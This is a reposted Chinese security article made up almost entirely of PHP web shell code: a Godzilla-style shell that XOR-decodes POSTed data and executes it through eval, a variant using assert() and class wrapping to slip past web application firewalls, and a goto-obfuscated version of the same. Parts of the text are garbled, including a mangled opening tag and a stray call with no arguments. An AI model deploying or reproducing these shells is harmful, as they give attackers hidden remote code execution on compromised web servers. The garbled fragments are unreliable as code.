<?php@session_start();@set_time_limit(0);@error_reporting(0);function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;}$pass='admin';$payloadName='payload';$key='0192023a7bbd7325';if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
        eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }}

class aly{    public function yh($xc,$app) {        for($a=0;$a<strlen($xc);$a++) {            $m = $app[$a+1&15];            $xc[$a] = $xc[$a]^$m;        }        $bc=md5($xc); //这个没有实际作用，混淆waf的，不知道有没有用        return $xc;    }}

$app = new aly;    $data=$app->yh();

<[email protected]_start();@set_time_limit(0);@error_reporting(0);class aly{
    public function yh($xc,$app) {
        for($a=0;$a<strlen($xc);$a++) {
            $m = $app[$a+1&15];
            $xc[$a] = $xc[$a]^$m;
        }
        $bc=md5($xc);
        return $xc;
    }}$cmd='getBas'.'icsInfo';$pass='admin';$p='pay';$key=substr(md5('admin123'),0,16);$kk=$p.'load';if (isset($_POST[$pass])){
    $app = new aly;
    $data=$app->yh(base64_decode($_POST[$pass]),substr(md5('admin123'),0,16));
    if (isset($_SESSION[$kk])){
        $xx=$app->yh($_SESSION[$kk],substr(md5('admin123'),0,16));
        $payl=$xx;
        if (strpos($payl,$cmd)===0){
            $payl=$app->yh($payl,substr(md5('admin123'),0,16));
        }
        $uu=$payl;
        class MOL{
            public function __construct($p) {   
        $qq=null;
        $dd=null;
        assert($qq./*xxx*/$p./*ssss*/$dd);
        }
        }
        @new MOL($uu); 
        print substr(md5($pass.substr(md5('admin123'),0,16)),0,16);
        print base64_encode($app->yh(@run($data),substr(md5('admin123'),0,16)));
        print substr(md5($pass.substr(md5('admin123'),0,16)),16);
    }else{
        if (strpos($data,$cmd)!==0){
            $_SESSION[$kk]=$app->yh($data,substr(md5('admin123'),0,16));
        }
    }}

<?php/* Encode by www.phpen.cn */
 goto IUNnc; XwEH4: $app = new aly(); goto nsf5Z; LL5W7: print substr(md5($pass . substr(md5("\x61\144\155\151\x6e\61\62\63"), 0, 16)), 16); goto CL6YJ; CjDEf: ROeQh: goto l_69p; IUNnc: @session_start(); goto MEYfv; FD8N5: $xx = $app->yh($_SESSION[$kk], substr(md5("\x61\144\155\151\156\61\x32\x33"), 0, 16)); goto d5hJ4; EwLvZ: $pass = "\141\x64\x6d\151\x6e"; goto rJEy5; kB2OV: $key = substr(md5("\x61\x64\155\151\x6e\61\62\x33"), 0, 16); goto BSLFU; igfvs: if (!(strpos($payl, $cmd) === 0)) { goto SSWNn; } goto g6wS1; BRtQN: print base64_encode($app->yh(@run($data), substr(md5("\x61\x64\155\151\156\x31\x32\63"), 0, 16))); goto LL5W7; MEYfv: @set_time_limit(0); goto y_Rav; sLyCi: $uu = $payl; goto MJ6yT; MJ6yT: class MOL { public function __construct($p) { goto L8KoL; kSIBh: assert($qq . $p . $dd); goto WZIpx; jhNhW: $dd = null; goto kSIBh; L8KoL: $qq = null; goto jhNhW; WZIpx: } } goto DbnEh; nsf5Z: $data = $app->yh(base64_decode($_POST[$pass]), substr(md5("\x61\x64\x6d\151\x6e\x31\62\x33"), 0, 16)); goto BwJ60; y_Rav: @error_reporting(0); goto byV_H; qB34k: print substr(md5($pass . substr(md5("\x61\x64\155\151\x6e\x31\62\63"), 0, 16)), 0, 16); goto BRtQN; rJEy5: $p = "\x70\x61\x79"; goto kB2OV; byV_H: class aly { public function yh($xc, $app) { goto imLf_; Ble8D: TCvbj: goto a8lqD; gNM7_: return $xc; goto tjogK; DWm5f: goto TCvbj; goto s2flz; KBh8d: Lz8Jg: goto vMyr2; a8jp5: $m = $app[$a + 1 & 15]; goto CDak2; rFPqD: $bc = md5($xc); goto gNM7_; a8lqD: if (!($a < strlen($xc))) { goto eBW6Z; } goto a8jp5; CDak2: $xc[$a] = $xc[$a] ^ $m; goto KBh8d; vMyr2: $a++; goto DWm5f; imLf_: $a = 0; goto Ble8D; s2flz: eBW6Z: goto rFPqD; tjogK: } } goto C6KW9; g6wS1: $payl = $app->yh($payl, substr(md5("\x61\144\155\x69\156\x31\x32\x33"), 0, 16)); goto zWyVT; BSLFU: $kk = $p . "\x6c\157\x61\144"; goto mWTXt; DbnEh: @new MOL($uu); goto qB34k; YwMwI: $_SESSION[$kk] = $app->yh($data, substr(md5("\x61\x64\155\x69\x6e\x31\x32\63"), 0, 16)); goto CjDEf; Dh1Wx: rQdE_: goto FD8N5; zWyVT: SSWNn: goto sLyCi; d5hJ4: $payl = $xx; goto igfvs; l_69p: goto F03Mj; goto Dh1Wx; rIcEU: if (!(strpos($data, $cmd) !== 0)) { goto ROeQh; } goto YwMwI; CL6YJ: F03Mj: goto mpw9H; C6KW9: $cmd = "\x67\145\x74\102\141\x73" . "\151\x63\x73\x49\x6e\x66\157"; goto EwLvZ; BwJ60: if (isset($_SESSION[$kk])) { goto rQdE_; } goto rIcEU; mWTXt: if (!isset($_POST[$pass])) { goto OQSh7; } goto XwEH4; mpw9H: OQSh7:

作者：suansuan原文地址：https://xz.aliyun.com/t/11391

侵权请私聊公众号删文